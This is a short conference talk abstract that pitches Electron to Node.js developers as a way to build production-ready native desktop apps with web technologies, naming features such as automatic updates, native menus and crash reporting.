Real-World Electron

Real-World Electron

In this talk, you will learn how to take your Electron app and get it ready for production. Dot all the I's and cross all the T's to build the perfect app – indistinguishable from a real native app.

Level: Intermediate to Advanced

You're a Node.js developer, so you love writing JavaScript. If you're like me, you also love the web -- CSS, HTML, WebGL, and WebRTC are fast, fun, and powerful!

But sometimes you need to build a native app. No one wants to learn a new language, use proprietary SDKs, and use completely different tools to get things done. There is a huge learning curve to make apps for Mac, Windows, and all the different Linux distros.

But there's a solution! With Electron, you can build native apps using JavaScript and web technologies. Electron apps feel completely native and support automatic updates, native menus, notifications, crash reporting, a professional install experience, and more.
